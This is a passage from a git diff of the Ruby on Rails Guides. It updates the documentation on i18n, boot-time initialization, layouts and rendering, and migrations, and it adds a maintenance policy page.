[number](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L37) scope. #### Active Model Methods -* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L29) scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes". +* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L36) scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes". * `ActiveModel::Errors#generate_message` (which is used by Active Model validations but may also be used manually) uses `model_name.human` and `human_attribute_name` (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes". @@ -859,7 +919,7 @@ Rails uses fixed strings and other localizations, such as format strings and oth #### Active Support Methods -* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30) scope. +* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L33) scope. Customize your I18n Setup ------------------------- @@ -893,7 +953,7 @@ ReservedInterpolationKey # the translation contains a reserved interpolation UnknownFileType # the backend does not know how to handle a file type that was added to I18n.load_path ``` -The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for `MissingTranslationData` exceptions. When a `MissingTranslationData` exception has been caught, it will return the exception’s error message string containing the missing key/scope. +The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for `MissingTranslationData` exceptions. When a `MissingTranslationData` exception has been caught, it will return the exception's error message string containing the missing key/scope. The reason for this is that during development you'd usually want your views to still render even though a translation is missing. @@ -958,8 +1018,8 @@ Resources * [rails-i18n.org](http://rails-i18n.org) - Homepage of the rails-i18n project. You can find lots of useful resources on the [wiki](http://rails-i18n.org/wiki). * [Google group: rails-i18n](http://groups.google.com/group/rails-i18n) - The project's mailing list. -* [Github: rails-i18n](https://github.com/svenfuchs/rails-i18n/tree/master) - Code repository for the rails-i18n project. Most importantly you can find lots of [example translations](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for Rails that should work for your application in most cases. -* [Github: i18n](https://github.com/svenfuchs/i18n/tree/master) - Code repository for the i18n gem. +* [GitHub: rails-i18n](https://github.com/svenfuchs/rails-i18n/tree/master) - Code repository for the rails-i18n project. Most importantly you can find lots of [example translations](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for Rails that should work for your application in most cases. +* [GitHub: i18n](https://github.com/svenfuchs/i18n/tree/master) - Code repository for the i18n gem. * [Lighthouse: rails-i18n](http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview) - Issue tracker for the rails-i18n project. * [Lighthouse: i18n](http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview) - Issue tracker for the i18n gem. @@ -976,7 +1036,7 @@ If you found this guide useful, please consider recommending its authors on [wor Footnotes --------- -[^1]: Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization:) _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_ +[^1]: Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization): _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_ [^2]: Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files. diff --git a/guides/source/index.html.erb b/guides/source/index.html.erb index a8e4525c67..57c224c165 100644 --- a/guides/source/index.html.erb +++ b/guides/source/index.html.erb @@ -19,7 +19,7 @@ Ruby on Rails Guides <h3><%= section['name'] %></h3> <dl> <% section['documents'].each do |document| %> - <%= guide(document['name'], document['url'], :work_in_progress => document['work_in_progress']) do %> + <%= guide(document['name'], document['url'], work_in_progress: document['work_in_progress']) do %> <p><%= document['description'] %></p> <% end %> <% end %> diff --git a/guides/source/initialization.md b/guides/source/initialization.md index 412f2faaaa..5e2e0ad3e3 100644 --- a/guides/source/initialization.md +++ b/guides/source/initialization.md @@ -7,14 +7,17 @@ as of Rails 4. It is an extremely in-depth guide and recommended for advanced Ra After reading this guide, you will know: * How to use `rails server`. +* The timeline of Rails' initialization sequence. +* Where different files are required by the boot sequence. +* How the Rails::Server interface is defined and used. -------------------------------------------------------------------------------- This guide goes through every method call that is required to boot up the Ruby on Rails stack for a default Rails 4 application, explaining each part in detail along the way. For this -guide, we will be focusing on what happens when you execute +rails -server+ to boot your app. +guide, we will be focusing on what happens when you execute `rails server` +to boot your app. NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified. @@ -26,9 +29,42 @@ quickly. Launch! ------- -Now we finally boot and initialize the app. It all starts with your app's -`bin/rails` executable. A Rails application is usually started by running -`rails console` or `rails server`. +Let's start to boot and initialize the app. A Rails application is usually +started by running `rails console` or `rails server`. + +### `railties/bin/rails` + +The `rails` in the command `rails server` is a ruby executable in your load +path. This executable contains the following lines: + +```ruby +version = ">= 0" +load Gem.bin_path('railties', 'rails', version) +``` + +If you try out this command in a Rails console, you would see that this loads +`railties/bin/rails`. A part of the file `railties/bin/rails.rb` has the +following code: + +```ruby +require "rails/cli" +``` + +The file `railties/lib/rails/cli` in turn calls +`Rails::AppRailsLoader.exec_app_rails`. + +### `railties/lib/rails/app_rails_loader.rb` + +The primary goal of the function `exec_app_rails` is to execute your app's +`bin/rails`. If the current directory does not have a `bin/rails`, it will +navigate upwards until it finds a `bin/rails` executable. Thus one can invoke a +`rails` command from anywhere inside a rails application. + +For `rails server` the equivalent of the following command is executed: + +```bash +$ exec ruby bin/rails server +``` ### `bin/rails` @@ -36,8 +72,8 @@ This file is as follows: ```ruby #!/usr/bin/env ruby -APP_PATH = File.expand_path('../../config/application', __FILE__) -require File.expand_path('../../config/boot', __FILE__) +APP_PATH = File.expand_path('../../config/application', __FILE__) +require_relative '../config/boot' require 'rails/commands' ``` @@ -51,47 +87,48 @@ The `APP_PATH` constant will be used later in `rails/commands`. The `config/boot # Set up gems listed in the Gemfile. ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__) -require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE']) +require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE']) ``` In a standard Rails application, there's a `Gemfile` which declares all dependencies of the application. `config/boot.rb` sets `ENV['BUNDLE_GEMFILE']` to the location of this file. If the Gemfile -exists, `bundler/setup` is then required. - -The gems that a Rails 4 application depends on are as follows: - -TODO: change these when the Rails 4 release is near. - -* abstract (1.0.0) -* actionmailer (4.0.0.beta) -* actionpack (4.0.0.beta) -* activemodel (4.0.0.beta) -* activerecord (4.0.0.beta) -* activesupport (4.0.0.beta) -* arel (2.0.7) -* builder (3.0.0) -* bundler (1.0.6) -* erubis (2.6.6) -* i18n (0.5.0) -* mail (2.2.12) -* mime-types (1.16) -* polyglot (0.3.1) -* rack (1.2.1) -* rack-cache (0.5.3) -* rack-mount (0.6.13) -* rack-test (0.5.6) -* rails (4.0.0.beta) -* railties (4.0.0.beta) -* rake (0.8.7) -* sqlite3-ruby (1.3.2) -* thor (0.14.6) -* treetop (1.4.9) -* tzinfo (0.3.23) +exists, then `bundler/setup` is required. The require is used by Bundler to +configure the load path for your Gemfile's dependencies. + +A standard Rails application depends on several gems, specifically: + +* abstract +* actionmailer +* actionpack +* activemodel +* activerecord +* activesupport +* arel +* builder +* bundler +* erubis +* i18n +* mail +* mime-types +* polyglot +* rack +* rack-cache +* rack-mount +* rack-test +* rails +* railties +* rake +* sqlite3-ruby +* thor +* treetop +* tzinfo ### `rails/commands.rb` -Once `config/boot.rb` has finished, the next file that is required is `rails/commands` which will execute a command based on the arguments passed in. In this case, the `ARGV` array simply contains `server` which is extracted into the `command` variable using these lines: +Once `config/boot.rb` has finished, the next file that is required is +`rails/commands`, which helps in expanding aliases. In the current case, the +`ARGV` array simply contains `server` which will be passed over: ```ruby ARGV << '--help' if ARGV.empty? @@ -107,31 +144,64 @@ aliases = { command = ARGV.shift command = aliases[command] || command + +require 'rails/commands/commands_tasks' + +Rails::CommandsTasks.new(ARGV).run_command!(command) ``` TIP: As you can see, an empty ARGV list will make Rails show the help snippet. -If we used `s` rather than `server`, Rails will use the `aliases` defined in the file and match them to their respective commands. With the `server` command, Rails will run this code: +If we had used `s` rather than `server`, Rails would have used the `aliases` +defined here to find the matching command. + +### `rails/commands/command_tasks.rb` + +When one types an incorrect rails command, the `run_command` is responsible for +throwing an error message. If the command is valid, a method of the same name +is called. + +```ruby +COMMAND_WHITELIST = %(plugin generate destroy console server dbconsole application runner new version help) + +def run_command!(command) + if COMMAND_WHITELIST.include?(command) + send(command) + else + write_error_message(command) + end +end +``` + +With the `server` command, Rails will further run the following code: ```ruby -when 'server' - # Change to the application's path if there is no config.ru file in current dir. - # This allows us to run `rails server` from other directories, but still get - # the main config.ru and properly set the tmp directory. - Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exists?(File.expand_path("config.ru")) +def set_application_directory! + Dir.chdir(File.expand_path('../../', APP_PATH)) unless + File.exist?(File.expand_path("config.ru")) +end + +def server + set_application_directory! + require_command!("server") - require 'rails/commands/server' Rails::Server.new.tap do |server| - # We need to require application after the server sets environment, - # otherwise the --environment option given to the server won't propagate. require APP_PATH Dir.chdir(Rails.application.root) server.start end +end + +def require_command!(command) + require "rails/commands/#{command}" +end ``` -This file will change into the root of the directory (a path two directories back from `APP_PATH` which points at `config/application.rb`), but only if the `config.ru` file isn't found. This then requires `rails/commands/server` which sets up the `Rails::Server` class. +This file will change into the Rails root directory (a path two directories up +from `APP_PATH` which points at `config/application.rb`), but only if the +`config.ru` file isn't found. This then requires `rails/commands/server` which +sets up the `Rails::Server` class. ```ruby require 'fileutils' @@ -147,11 +217,11 @@ module Rails ### `actionpack/lib/action_dispatch.rb` Action Dispatch is the routing component of the Rails framework. -It adds functionalities like routing, session, and common middlewares. +It adds functionality like routing, session, and common middlewares. ### `rails/commands/server.rb` -The `Rails::Server` class is defined in this file as inheriting from `Rack::Server`. When `Rails::Server.new` is called, this calls the `initialize` method in `rails/commands/server.rb`: +The `Rails::Server` class is defined in this file by inheriting from `Rack::Server`. When `Rails::Server.new` is called, this calls the `initialize` method in `rails/commands/server.rb`: ```ruby def initialize(*) @@ -215,12 +285,12 @@ With the `default_options` set to this: ```ruby def default_options { - :environment => ENV['RACK_ENV'] || "development", - :pid => nil, - :Port => 9292, - :Host => "0.0.0.0", - :AccessLog => [], - :config => "config.ru" + environment: ENV['RACK_ENV'] || "development", + pid: nil, + Port: 9292, + Host: "0.0.0.0", + AccessLog: [], + config: "config.ru" } end ``` @@ -253,43 +323,49 @@ set earlier) is required. ### `config/application` -When `require APP_PATH` is executed, `config/application.rb` is loaded. -This file exists in your app and it's free for you to change based -on your needs. +When `require APP_PATH` is executed, `config/application.rb` is loaded (recall +that `APP_PATH` is defined in `bin/rails`). This file exists in your application +and it's free for you to change based on your needs. ### `Rails::Server#start` -After `config/application` is loaded, `server.start` is called. This method is defined like this: +After `config/application` is loaded, `server.start` is called. This method is +defined like this: ```ruby def start - url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}" - puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}" - puts "=> Rails #{Rails.version} application starting in #{Rails.env} on #{url}" - puts "=> Run `rails server -h` for more startup options" + print_boot_information trap(:INT) { exit } - puts "=> Ctrl-C to shutdown server" unless options[:daemonize] + create_tmp_directories + log_to_stdout if options[:log_stdout] + + super + ... +end - #Create required tmp directories if not found - %w(cache pids sessions sockets).each do |dir_to_make| - FileUtils.mkdir_p(Rails.root.join('tmp', dir_to_make)) +private + + def print_boot_information + ... + puts "=> Run `rails server -h` for more startup options" + puts "=> Ctrl-C to shutdown server" unless options[:daemonize] + end + + def create_tmp_directories + %w(cache pids sessions sockets).each do |dir_to_make| + FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make)) + end end - unless options[:daemonize] + def log_to_stdout wrapped_app # touch the app so the logger is set up console = ActiveSupport::Logger.new($stdout) console.formatter = Rails.logger.formatter + console.level = Rails.logger.level Rails.logger.extend(ActiveSupport::Logger.broadcast(console)) end - - super -ensure - # The '-h' option calls exit before @options is set. - # If we call 'options' with it unset, we get double help banners. - puts 'Exiting' unless @options && options[:daemonize] -end ``` This is where the first output of the Rails initialization happens. This @@ -348,7 +424,7 @@ end The interesting part for a Rails app is the last line, `server.run`. Here we encounter the `wrapped_app` method again, which this time we're going to explore more (even though it was executed before, and -thus memorized by now). +thus memoized by now). ```ruby @wrapped_app ||= build_app app @@ -375,7 +451,7 @@ The `options[:config]` value defaults to `config.ru` which contains this: ```ruby # This file is used by Rack-based servers to start the application. -require ::File.expand_path('../config/environment', __FILE__) +require ::File.expand_path('../config/environment', __FILE__) run <%= app_const %> ``` @@ -390,7 +466,7 @@ app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app", The `initialize` method of `Rack::Builder` will take the block here and execute it within an instance of `Rack::Builder`. This is where the majority of the initialization process of Rails happens. The `require` line for `config/environment.rb` in `config.ru` is the first to run: ```ruby -require ::File.expand_path('../config/environment', __FILE__) +require ::File.expand_path('../config/environment', __FILE__) ``` ### `config/environment.rb` @@ -441,14 +517,16 @@ inside each of those frameworks, but you're encouraged to try and explore them on your own. For now, just keep in mind that common functionality like Rails engines, -I18n and Rails configuration is all being defined here. +I18n and Rails configuration are all being defined here. ### Back to `config/environment.rb` -When `config/application.rb` has finished loading Rails, and defined -your application namespace, you go back to `config/environment.rb`, -where your application is initialized. For example, if you application was called -`Blog`, here you would find `Blog::Application.initialize!`, which is +The rest of `config/application.rb` defines the configuration for the +`Rails::Application` which will be used once the application is fully +initialized. When `config/application.rb` has finished loading Rails and defined +the application namespace, we go back to `config/environment.rb`, +where the application is initialized. For example, if the application was called +`Blog`, here we would find `Blog::Application.initialize!`, which is defined in `rails/application.rb` ### `railties/lib/rails/application.rb` @@ -464,14 +542,31 @@ def initialize!(group=:default) #:nodoc: end ``` -As you can see, you can only initialize an app once. This is also where the initializers are run. +As you can see, you can only initialize an app once. The initializers are run through +the `run_initializers` method which is defined in `railties/lib/rails/initializable.rb` + +```ruby +def run_initializers(group=:default, *args) + return if instance_variable_defined?(:@ran) + initializers.tsort_each do |initializer| + initializer.run(*args) if initializer.belongs_to?(group) + end + @ran = true +end +``` -TODO: review this +The run_initializers code itself is tricky. What Rails is doing here is +traversing all the class ancestors looking for those that respond to an +`initializers` method. It then sorts the ancestors by name, and runs them. +For example, the `Engine` class will make all the engines available by +providing an `initializers` method on them. -The initializers code itself is tricky. What Rails is doing here is it -traverses all the class ancestors looking for an `initializers` method, -sorting them and running them. For example, the `Engine` class will make -all the engines available by providing the `initializers` method. +The `Rails::Application` class, as defined in `railties/lib/rails/application.rb` +defines `bootstrap`, `railtie`, and `finisher` initializers. The `bootstrap` initializers +prepare the application (like initializing the logger) while the `finisher` +initializers (like building the middleware stack) are run last. The `railtie` +initializers are the initializers which have been defined on the `Rails::Application` +itself and are run between the `bootstrap` and `finishers`. After this is done we go back to `Rack::Server` @@ -548,7 +643,7 @@ def self.run(app, options={}) else server.register('/', Rack::Handler::Mongrel.new(app)) end - yield server if block_given? + yield server if block_given? server.run.join end ``` diff --git a/guides/source/kindle/KINDLE.md b/guides/source/kindle/KINDLE.md deleted file mode 100644 index 8c4fad18aa..0000000000 --- a/guides/source/kindle/KINDLE.md +++ /dev/null @@ -1,26 +0,0 @@ -# Rails Guides on the Kindle - - -## Synopsis - - 1. Obtain `kindlegen` from the link below and put the binary in your path - 2. Run `KINDLE=1 rake generate_guides` to generate the guides and compile the `.mobi` file - 3. Copy `output/kindle/rails_guides.mobi` to your Kindle - -## Resources - - * [Stack Overflow: Kindle Periodical Format](http://stackoverflow.com/questions/5379565/kindle-periodical-format) - * Example Periodical [.ncx](https://gist.github.com/mipearson/808c971ed087b839d462) and [.opf](https://gist.github.com/mipearson/d6349aa8488eca2ee6d0) - * [Kindle Publishing Guidelines](http://kindlegen.s3.amazonaws.com/AmazonKindlePublishingGuidelines.pdf) - * [KindleGen & Kindle Previewer](http://www.amazon.com/gp/feature.html?ie=UTF8&docId=1000234621) - -## TODO - -### Post release - - * Integrate generated Kindle document into published HTML guides - * Tweak heading styles (most docs use h3/h4/h5, which end up being smaller than the text under it) - * Tweak table styles (smaller text? Many of the tables are unusable on a Kindle in portrait mode) - * Have the HTML/XML TOC 'drill down' into the TOCs of the individual guides - * `.epub` generation. - diff --git a/guides/source/kindle/toc.html.erb b/guides/source/kindle/toc.html.erb index e013797dee..f310edd3a1 100644 --- a/guides/source/kindle/toc.html.erb +++ b/guides/source/kindle/toc.html.erb @@ -20,5 +20,5 @@ Ruby on Rails Guides <ul> <li><a href="credits.html">Credits</a></li> <li><a href="copyright.html">Copyright & License</a></li> -<ul> +</ul> </div> diff --git a/guides/source/layout.html.erb b/guides/source/layout.html.erb index 397dd62638..0513066f5a 100644 --- a/guides/source/layout.html.erb +++ b/guides/source/layout.html.erb @@ -48,7 +48,7 @@ <ul class="nav"> <li><a class="nav-item" href="index.html">Home</a></li> <li class="guides-index guides-index-large"> - <a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu" class="guides-index-item nav-item">Guides Index</a> + <a href="index.html" id="guidesMenu" class="guides-index-item nav-item">Guides Index</a> <div id="guides" class="clearfix" style="display: none;"> <hr /> <% ['L', 'R'].each do |position| %> @@ -101,17 +101,15 @@ You're encouraged to help improve the quality of this guide. </p> <p> - If you see any typos or factual errors you are confident to - patch, please clone <%= link_to 'docrails', 'https://github.com/lifo/docrails' %> - and push the change yourself. That branch of Rails has public write access. - Commits are still reviewed, but that happens after you've submitted your - contribution. <%= link_to 'docrails', 'https://github.com/lifo/docrails' %> is - cross-merged with master periodically. + Please contribute if you see any typos or factual errors. + To get started, you can read our <%= link_to 'documentation contributions', 'http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation' %> section. </p> <p> You may also find incomplete content, or stuff that is not up to date. - Please do add any missing documentation for master. Check the - <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %> + Please do add any missing documentation for master. Make sure to check + <%= link_to 'Edge Guides','http://edgeguides.rubyonrails.org' %> first to verify + if the issues are already fixed or not on the master branch. + Check the <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %> for style and conventions. </p> <p> @@ -141,7 +139,7 @@ <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script> <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script> <script type="text/javascript"> - SyntaxHighlighter.all() + SyntaxHighlighter.all(); $(guidesIndex.bind); </script> </body> diff --git a/guides/source/layouts_and_rendering.md b/guides/source/layouts_and_rendering.md index a3b3472701..c2d9772063 100644 --- a/guides/source/layouts_and_rendering.md +++ b/guides/source/layouts_and_rendering.md @@ -1,7 +1,7 @@ Layouts and Rendering in Rails ============================== -This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to: +This guide covers the basic layout features of Action Controller and Action View. After reading this guide, you will know: @@ -88,7 +88,7 @@ If we want to display the properties of all the books in our view, we can do so <% end %> </table> -<br /> +<br> <%= link_to "New book", new_book_path %> ``` @@ -122,8 +122,7 @@ X-Runtime: 0.014297 Set-Cookie: _blog_session=...snip...; path=/; HttpOnly Cache-Control: no-cache - - $ +$ ``` We see there is an empty response (no data after the `Cache-Control` line), but the request was successful because Rails has set the response to 200 OK. You can set the `:status` option on render to change this response. Rendering nothing can be useful for Ajax requests where all you want to send back to the browser is an acknowledgment that the request was completed. @@ -137,7 +136,7 @@ If you want to render the view that corresponds to a different template within t ```ruby def update @book = Book.find(params[:id]) - if @book.update(params[:book]) + if @book.update(book_params) redirect_to(@book) else render "edit" @@ -152,7 +151,7 @@ If you prefer, you can use a symbol instead of a string to specify the action to ```ruby def update @book = Book.find(params[:id]) - if @book.update(params[:book]) + if @book.update(book_params) redirect_to(@book) else render :edit @@ -283,8 +282,8 @@ Calls to the `render` method generally accept four options: * `:content_type` * `:layout` -* `:status` * `:location` +* `:status` ##### The `:content_type` Option @@ -310,25 +309,86 @@ You can also tell Rails to render with no layout at all: render layout: false ``` -##### The `:status` Option +##### The `:location` Option -Rails will automatically generate a response with the correct HTTP status code (in most cases, this is `200 OK`). You can use the `:status` option to change this: +You can use the `:location` option to set the HTTP `Location` header: ```ruby -render status: 500 -render status: :forbidden +render xml: photo, location: photo_url(photo) ``` -Rails understands both numeric and symbolic status codes. - -##### The `:location` Option +##### The `:status` Option -You can use the `:location` option to set the HTTP `Location` header: +Rails will automatically generate a response with the correct HTTP status code (in most cases, this is `200 OK`). You can use the `:status` option to change this: ```ruby -render xml: photo, location: photo_url(photo) +render status: 500 +render status: :forbidden ``` +Rails understands both numeric status codes and the corresponding symbols shown below. + +| Response Class | HTTP Status Code | Symbol | +| ------------------- | ---------------- | -------------------------------- | +| **Informational** | 100 | :continue | +| | 101 | :switching_protocols | +| | 102 | :processing | +| **Success** | 200 | :ok | +| | 201 | :created | +| | 202 | :accepted | +| | 203 | :non_authoritative_information | +| | 204 | :no_content | +| | 205 | :reset_content | +| | 206 | :partial_content | +| | 207 | :multi_status | +| | 208 | :already_reported | +| | 226 | :im_used | +| **Redirection** | 300 | :multiple_choices | +| | 301 | :moved_permanently | +| | 302 | :found | +| | 303 | :see_other | +| | 304 | :not_modified | +| | 305 | :use_proxy | +| | 306 | :reserved | +| | 307 | :temporary_redirect | +| | 308 | :permanent_redirect | +| **Client Error** | 400 | :bad_request | +| | 401 | :unauthorized | +| | 402 | :payment_required | +| | 403 | :forbidden | +| | 404 | :not_found | +| | 405 | :method_not_allowed | +| | 406 | :not_acceptable | +| | 407 | :proxy_authentication_required | +| | 408 | :request_timeout | +| | 409 | :conflict | +| | 410 | :gone | +| | 411 | :length_required | +| | 412 | :precondition_failed | +| | 413 | :request_entity_too_large | +| | 414 | :request_uri_too_long | +| | 415 | :unsupported_media_type | +| | 416 | :requested_range_not_satisfiable | +| | 417 | :expectation_failed | +| | 422 | :unprocessable_entity | +| | 423 | :locked | +| | 424 | :failed_dependency | +| | 426 | :upgrade_required | +| | 428 | :precondition_required | +| | 429 | :too_many_requests | +| | 431 | :request_header_fields_too_large | +| **Server Error** | 500 | :internal_server_error | +| | 501 | :not_implemented | +| | 502 | :bad_gateway | +| | 503 | :service_unavailable | +| | 504 | :gateway_timeout | +| | 505 | :http_version_not_supported | +| | 506 | :variant_also_negotiates | +| | 507 | :insufficient_storage | +| | 508 | :loop_detected | +| | 510 | :not_extended | +| | 511 | :network_authentication_required | + #### Finding Layouts To find the current layout, Rails first looks for a file in `app/views/layouts` with the same base name as the controller. For example, rendering actions from the `PhotosController` class will use `app/views/layouts/photos.html.erb` (or `app/views/layouts/photos.builder`). If there is no such controller-specific layout, Rails will use `app/views/layouts/application.html.erb` or `app/views/layouts/application.builder`. If there is no `.erb` layout, Rails will use a `.builder` layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions. @@ -344,7 +404,7 @@ class ProductsController < ApplicationController end ``` -With this declaration, all of the views rendered by the products controller will use `app/views/layouts/inventory.html.erb` as their layout. +With this declaration, all of the views rendered by the `ProductsController` will use `app/views/layouts/inventory.html.erb` as their layout. To assign a specific layout for the entire application, use a `layout` declaration in your `ApplicationController` class: @@ -531,7 +591,7 @@ def index end def show - @book = Book.find_by_id(params[:id]) + @book = Book.find_by(id: params[:id]) if @book.nil? render action: "index" end @@ -546,7 +606,7 @@ def index end def show - @book = Book.find_by_id(params[:id]) + @book = Book.find_by(id: params[:id]) if @book.nil? redirect_to action: :index end @@ -565,10 +625,10 @@ def index end def show - @book = Book.find_by_id(params[:id]) + @book = Book.find_by(id: params[:id]) if @book.nil? @books = Book.all - flash[:alert] = "Your book was not found" + flash.now[:alert] = "Your book was not found" render "index" end end @@ -578,7 +638,7 @@ This would detect that there are no books with the specified ID, populate the `@ ### Using `head` To Build Header-Only Responses -The `head` method can be used to send responses with only headers to the browser. It provides a more obvious alternative to calling `render :nothing`. The `head` method takes one parameter, which is interpreted as a hash of header names and values. For example, you can return only an error header: +The `head` method can be used to send responses with only headers to the browser. It provides a more obvious alternative to calling `render :nothing`. The `head` method accepts a number or symbol (see [reference table](#the-status-option)) representing a HTTP status code. The options argument is interpreted as a hash of header names and values. For example, you can return only an error header: ```ruby head :bad_request @@ -643,7 +703,7 @@ WARNING: The asset tag helpers do _not_ verify the existence of the assets at th #### Linking to Feeds with the `auto_discovery_link_tag` -The `auto_discovery_link_tag` helper builds HTML that most browsers and newsreaders can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag: +The `auto_discovery_link_tag` helper builds HTML that most browsers and feed readers can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag: ```erb <%= auto_discovery_link_tag(:rss, {action: "feed"}, @@ -654,7 +714,7 @@ There are three tag options available for the `auto_discovery_link_tag`: * `:rel` specifies the `rel` value in the link. The default value is "alternate". * `:type` specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically. -* `:title` specifies the title of the link. The default value is the uppercased `:type` value, for example, "ATOM" or "RSS". +* `:title` specifies the title of the link. The default value is the uppercase `:type` value, for example, "ATOM" or "RSS". #### Linking to JavaScript Files with the `javascript_include_tag` @@ -965,7 +1025,7 @@ You can also pass local variables into partials, making them even more powerful ```html+erb <%= form_for(zone) do |f| %> <p> - <b>Zone name</b><br /> + <b>Zone name</b><br> <%= f.text_field :name %> </p> <p> diff --git a/guides/source/maintenance_policy.md b/guides/source/maintenance_policy.md new file mode 100644 index 0000000000..93729c6f72 --- /dev/null +++ b/guides/source/maintenance_policy.md @@ -0,0 +1,56 @@ +Maintenance Policy for Ruby on Rails +==================================== + +Support of the Rails framework is divided into four groups: New features, bug +fixes, security issues, and severe security issues. They are handled as +follows, all versions in x.y.z format + +-------------------------------------------------------------------------------- + +New Features +------------ + +New features are only added to the master branch and will not be made available +in point releases. + +Bug Fixes +--------- + +Only the latest release series will receive bug fixes. When enough bugs are +fixed and its deemed worthy to release a new gem, this is the branch it happens +from. + +**Currently included series:** 4.0.z + +Security Issues +--------------- + +The current release series and the next most recent one will receive patches +and new versions in case of a security issue. + +These releases are created by taking the last released version, applying the +security patches, and releasing. Those patches are then applied to the end of +the x-y-stable branch. For example, a theoretical 1.2.3 security release would +be built from 1.2.2, and then added to the end of 1-2-stable. This means that +security releases are easy to upgrade to if you're running the latest version +of Rails. + +**Currently included series:** 4.0.z, 3.2.z + +Severe Security Issues +---------------------- + +For severe security issues we will provide new versions as above, and also the +last major release series will receive patches and new versions. The +classification of the security issue is judged by the core team. + +**Currently included series:** 4.0.z, 3.2.z + +Unsupported Release Series +-------------------------- + +When a release series is no longer supported, it's your own responsibility to +deal with bugs and security issues. We may provide backports of the fixes and +publish them to git, however there will be no new versions released. If you are +not comfortable maintaining your own versions, you should upgrade to a +supported version. diff --git a/guides/source/migrations.md b/guides/source/migrations.md index 086cf434d9..5d5c2724b1 100644 --- a/guides/source/migrations.md +++ b/guides/source/migrations.md @@ -150,7 +150,25 @@ class AddPartNumberToProducts < ActiveRecord::Migration end ``` -Similarly, +If you'd like to add an index on the new column, you can do that as well: + +```bash +$ rails generate migration AddPartNumberToProducts part_number:string:index +``` + +will generate + +```ruby +class AddPartNumberToProducts < ActiveRecord::Migration + def change + add_column :products, :part_number, :string + add_index :products, :part_number + end +end +``` + + +Similarly, you can generate a migration to remove a column from the command line: ```bash $ rails generate migration RemovePartNumberFromProducts part_number:string @@ -166,7 +184,7 @@ class RemovePartNumberFromProducts < ActiveRecord::Migration end ``` -You are not limited to one magically generated column. For example +You are not limited to one magically generated column. For example: ```bash $ rails generate migration AddDetailsToProducts part_number:string price:decimal @@ -209,7 +227,7 @@ or remove from it as you see fit by editing the `db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb` file. Also, the generator accepts column type as `references`(also available as -`belongs_to`). For instance +`belongs_to`). For instance: ```bash $ rails generate migration AddUserRefToProducts user:references @@ -251,7 +269,7 @@ end The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want, then statements for -adding these columns will also be created. For example, running +adding these columns will also be created. For example, running: ```bash $ rails generate model Product name:string description:text @@ -279,15 +297,16 @@ You can append as many column name/type pairs as you want. You can also specify some options just after the field type between curly braces. You can use the following modifiers: -* `limit` Sets the maximum size of the `string/text/binary/integer` fields -* `precision` Defines the precision for the `decimal` fields -* `scale` Defines the scale for the `decimal` fields -* `polymorphic` Adds a `type` column for `belongs_to` associations +* `limit` Sets the maximum size of the `string/text/binary/integer` fields. +* `precision` Defines the precision for the `decimal` fields, representing the total number of digits in the number. +* `scale` Defines the scale for the `decimal` fields, representing the number of digits after the decimal point. +* `polymorphic` Adds a `type` column for `belongs_to` associations. +* `null` Allows or disallows `NULL` values in the column. -For instance, running +For instance, running: ```bash -$ rails generate migration AddDetailsToProducts price:decimal{5,2} supplier:references{polymorphic} +$ rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplier:references{polymorphic} ``` will produce a migration that looks like this @@ -295,8 +314,8 @@ will produce a migration that looks like this ```ruby class AddDetailsToProducts < ActiveRecord::Migration def change - add_column :products, :price, precision: 5, scale: 2 - add_reference :products, :user, polymorphic: true, index: 